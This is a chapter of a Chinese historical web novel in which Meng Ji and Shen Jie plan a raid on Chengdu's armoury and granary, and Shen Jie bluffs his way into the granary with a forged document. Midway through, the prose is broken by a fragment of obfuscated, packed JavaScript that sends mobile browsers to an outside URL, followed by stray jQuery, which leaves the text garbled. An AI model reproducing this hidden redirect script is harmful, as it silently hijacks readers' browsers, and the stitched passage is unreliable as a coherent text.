孟霁把声音放柔,“你若是想,你也可以做到。你沈师兄走了,空出来的这个位置,合该你去填补。”
她简直觉得自己像是个举着一把糖果,哄骗小孩的坏人。
她这番话,旁人听了或者不痛不痒,但是对于眼前这个,一直渴望得到太翁垂青目光的小小少年来讲,简直有着致命的诱惑。
范屏的态度已经和缓了下来,却并没有完全相信,只用有些狐疑的目光盯住孟霁。
“你也知道我太翁想要什么?”
孟霁把手一背,“你附耳过来,我只说给你听。”
范屏一个激灵,立刻便清醒了,“有本事你过来!”
同样的坑,他才不会踩第二次!
范屏暗赞自己机智,孟霁说这么多,不就是想把自己从部曲的保护中骗出去吗?
那张充满戒备的小脸有些得意地盯住孟霁,就见孟霁答应一声,抬脚就往自己这边走来!
范屏大吃一惊,以为孟霁这是有什么后招,差一点便要调转马头往后退走。
这刚一扭头,想起自己才是人多势众的那一方,便又硬生生拉住马缰绳,假装自己不过是在调整坐姿,这才朝孟霁那边看去。
反而是奢阿呷他们一阵慌乱,纷纷开口想要劝阻孟霁。
“大王!不能过去!”
“大王,危险!”
“大王!”
“无妨。”孟霁没回头,只是一扬手,众部曲便只好收声。
沈介跟了一步,低声道:“我和你一起过去。”
这次孟霁没有反对,她点点头,大步走到了范屏马下。
那范屏见他二人竟有此胆识,却也不甘示弱,当即翻身下马。
他握着马鞭,将胸膛一挺,“说吧。”
孟霁亦是单刀直入,“罗尚同李特争夺益州,你太翁选了李特。”
范屏不知孟霁何意,只是沉着脸,没吭声。
沈介却是心中一凛,意识到了孟霁想要做什么,当下诧异地看向孟霁。
果然,孟霁下一句便是——
“既如此,你都绕过了罗尚的防线,把兵带到人家跟前了,就没想过做点什么,让你太翁高兴高兴吗?”
范屏一愣。
孟霁已经继续说道:
“不需要你攻下成都,只要你能让罗尚吃一次瘪,你太翁就会发现,原来他这个重孙子的本事不亚于沈介。届时,你猜他会不会让你随意出入静室?”
至此,沈介已经彻底明了了孟霁的意图——
她想救出那些被困在城内,即将被强行征调到前线送死的百姓。
或许还不止,明彻是亲眼见到罗尚这一年来是如何戮害生民的,心中怕早就憋了一股恶气。
可那到底是公然同朝廷为敌呐。
沈介有些忧心地看向孟霁,她本可以置身事外的,又何必给自己惹事上身呢?
范屏可没有沈介这些思虑,只要一想到太翁得知捷报时的笑容,他便已经激动到摩拳擦掌了。
然而他回头看了看自己的部曲后,却又蔫儿了下来,“可我只得这百十来人,如何能同一州之刺史抗衡?”
见范屏这个模样,孟霁反而心中一定。
“有百十来人,便足够了,”她看起来胸有成竹,“所谓一州刺史,说得吓人,其实也不过是个空架子而已。”
沈介看到孟霁那双本就明亮的眸子闪出了光,于是他那颗忐忑的心便也跟着定了下来。
那一刻,他没有别的念头,只想让这一抹光亮一点,再亮一点。
孟霁还在继续同范屏分析:“罗尚的兵力现在基本上都不在城中,城中空虚,正是咱们的机会。”
她这么说着的时候,还抽空瞥了沈介一眼,见对方一脸沉思的模样,也不知在想什么。
她知道沈介一向受的那套教育,要讲究什么为臣死忠的,罗尚再不是人,在益州也代表着晋廷。
沈介若是不想参与他们这桩大逆的行动,她也是可以理解的。
“我当如何做?”也不知是不是太阳出来了,地面变得烫脚了,范屏开始在原地不住蹦跶。
孟霁扭头看了看远处的城门,那里堵在门口的人群并不曾散去,“南门人太多了,我们从少城西门绕进去,进太城,袭击州牧府……”
话音未落,沈介忽开口了。
“罗尚城中的兵力虽不多,但只怕都集中在州牧府附近,阿屏的这点人马怕是不能硬抗。”
孟霁有些讶然地转头去看沈介,她以为沈介能不跳出来反对就不错了,没想到沈介会帮着出谋划策。
范屏也是一愣,“那咱们该怎么办?”
“最好是兵分两路……”沈介答得很快,显然已经有了计策。
然而刚说了几个字,便被范屏打断了。
“就这几个人还分兵?”范屏瞪大了眼睛。
孟霁问道:“如何分兵?”
“一路袭扰武库,一路袭扰粮仓。”
沈介开始解释他的计策——
“官兵日常是不带武器的,武器都统一锁在武库中,阿屏可带人先至太城烧毁武库。明彻可袭击少城的粮仓。”
沈介说到这里,又补充道:
“这两路都不必强求得手,袭扰一下就走。只要城里乱起来,咱们的目的也就达到了。”
范屏立刻翻身上马,满眼兴奋地冲两人道:“若要穿少城往太城走,那得绕一点路了,我就先走一步了!你们慢慢来!”
“阿屏,”沈介忙唤了他一声,“尽量避着城中百姓,不要伤及无辜。”
“知道了!”范屏答应一声,招呼着部曲,打马便走。
沈介待他走了,这才扭头去找孟霁,却见孟霁已经跟手下部曲交代了几句,马海阿图他们都匆匆往船上而去。
原地只得一个奢阿呷,正忧心忡忡地跟孟霁请缨。
“大王,还是让我同你一起去吧!”
孟霁却是摇了摇头,“你得帮我守在这里,这条船是咱们的退路。换成别人,我不放心。人我也不能给你多留,你就带着克惹帮我守好这条船。”
说着,她见沈介走过来,便同他讲:“涧松,你也上船等我吧。”
“不,明彻,我跟你一起去。”沈介怕孟霁不答应,又补充道,“我熟知粮仓布局及护卫情况,可以帮得上忙。”
此时,马海阿图他们已经从船上牵下了马。
孟霁顺手牵过一匹,翻身上马,却又在马上歪头看向沈介,神态间露出几分顽皮的意味,“沈郎君这会儿怎么不讲公忠体国了?”
沈介听她打趣自己,却也是无奈摇头,“罗尚丧邦之臣,死有余罪。我做什么要帮他?”
他这样说的时候,便看到她的笑容渐渐真切了起来。
“阿图,扶沈郎君上马,咱们得抓点儿紧,可不能落在范屏那小屁孩的后面了。”
成都有三个官仓,郫水边有一个,太城一个,少城一个。
依照沈介的意思,太城那个是正仓,面积最大,守备也最森严,他们人少,根本不可能占到什么便宜。
郫水那个是槽仓,这两年因为战乱,已经不怎么用了,就是他们一把火烧了,也起不了搅混水的作用。
是以,他们最终选择的是少城的郡仓。
郡仓说小,其实也不小了,至少也有好几个足球场那么大。外面的夯土围墙目测也有个三丈左右的高度。
与其说是粮仓,还不如说这是个小型的城中城。
孟霁他们在成都呆了一年,期间无数次从少城这个郡仓门前走过,可也轻易不会靠近粮仓。
马海阿图悄咪咪探出头去打望了一阵,又缩回了脑袋。
“这里看起来守备也挺森严的。门前一直有人巡逻。”
沈介轻声道:“当日我父在时,郡县无兵,守粮仓的是郡府武吏,也不过几十人而已。如今罗尚手中兵力捉襟见肘,也不大可能派太多人来守粮仓。
就算要守,他也只可能守太城的大仓,少城的小仓,罗尚不会太重视。”
“这围墙这么高,咱们是不是先去找几个梯子?”马海阿图问道。
“不用,”沈介摇了摇头,“咱们从正门进去。”
他说着,竟是在众人的愕然中,独自朝着粮仓走去。
守仓武吏一直都挺警醒的,自从成都陷入混乱后,便时不时有吃不上饭的黔首试图冲进粮仓,抢两把粮食。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210544|139263||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>哪怕他们从来没有一个人能成功。可这些不自量力的黔首却总想试一试,毕竟,成功了便能填饱肚子,失败了,同样也不会再饿肚子了。
在这样的高压之下工作的守仓武吏,早已训练出了一身的条件反射,一见到有人靠近粮仓,便立刻条件反射地大喝出声。
“什么人!”
然而下一刻,那个出声的武吏便被他的同僚撞了一下肩膀。
“吼什么,看那人举止气度,哪里像是什么黔首,定然是贵人!”
“你又知道了……”
“我同你打赌。”
“赌就赌!”
两人正嘟哝着,沈介已经走到了近前。
先前那个武吏哪里还看不出眼前这人绝非普通百姓,却也只能硬着头皮问道:
“来者何人?”
沈介从容道:“本吏乃州府麾下从事,奉刺史之命前来点验粮食。”
此言一出,众武吏心中便是一惊。
这州从事一职向来是地方上那些世家大姓子弟的起家官,能担任这个官职,说明面前之人也是豪门望族之后。
一念及此,再一看沈介这气质,那武吏便已经信了八分,可该走的流程还是得走。
“从事可有信符吗?”那武吏问道,声音却已经放得很和缓了。
“稍等。”沈介说着,竟当真从怀中掏出了一份文书,递了过去。
——当日他们杀了赵廞,得到了刺史的官印,沈介打算出走的时候,为方便行动,便借那印造了个假文书,哪曾想,今日竟当真派上了用场。
武吏不敢怠慢,忙双手接过,细细查看了上面的印信,见果然不假,更是诚惶诚恐,忙招呼自己的同僚。
“赶紧的,快开仓门!”
孟霁他们躲在远处扒墙角。
“在开门了,在开门了……唔……”马海阿图有些激动,声音不由大了几分,立即便被阿哈嗼捂住了嘴。
仓城的门很重,要打开便不是那么容易。
眼见着几个武吏在卖力推门,沈介也不催他们,只是静静立在一边。
他忽的想起自己第一次来此间的情形,算一算时间,差不多是五六年前的事情了。
那年晋廷下令将益州的粮,发到雍州,以助当地平定氐羌之乱。
后来那场仗打得并不顺利,一拖就是好几年,益州的府库几乎都被他们打空了。
可更惨的还是叛乱附近几个郡的百姓,连年兵灾,害得他们连地都不敢种了,只能抛家舍业地去逃荒。
那群流民辗转数地,到最后还是来了梁益。
只可惜当年的沈介并没有未卜先知的能力,并不知道那把火会最终烧到自己身上。
他那时候还是个小豆丁,因着那一份顽心,非得跟着主簿前来点验粮食。
沈介闭了闭眼,他素来过目不忘,到现在他也清楚地记得这里面有多少个粮窖,是如何分布的,每个粮窖能储多少粮食,也知道粮窖间高高的夯土路有多宽,上面能走几个兵卒。
就在他在心中默默盘算稍后要如何布置那十来个部曲的走位,以尽可能保全他们的时候,忽然有个惊喜的声音响了起来。
“沈郎君?是沈郎君不是?”
沈介猛地一惊,陡然睁开眼睛,只见一个年纪稍长的武吏,一边系着裤腰带,一边往自己这边走来。
沈介瞳孔紧缩,他认得此人!
“沈郎君当是不记得小人了,你小时候来这粮库的时候,跑到那夯土上,下不来,急得哭鼻子,还是小人把郎君抱下去的!”
在这个庶民同世家之间有着广如银河的等级差的年代,曾经抱过太守家小公子这件事,大概是老武吏这辈子为数不多的高光时刻了。
这一点事情,也不知他回味了多少遍。
那老武吏终于系好了裤腰带,人也走到了沈介跟前,便又忍不住上下打量着沈介,“想不到眼下都长这么高了。”
他说着想起什么,又是一叹,“沈内使出事的时候,小人听说郎君曾被……哎……好歹还能留下一条性命,也是不错了……”
他还在那里絮叨,门口几个武吏却是脸色骤变。
“拿住他!他是假从事!”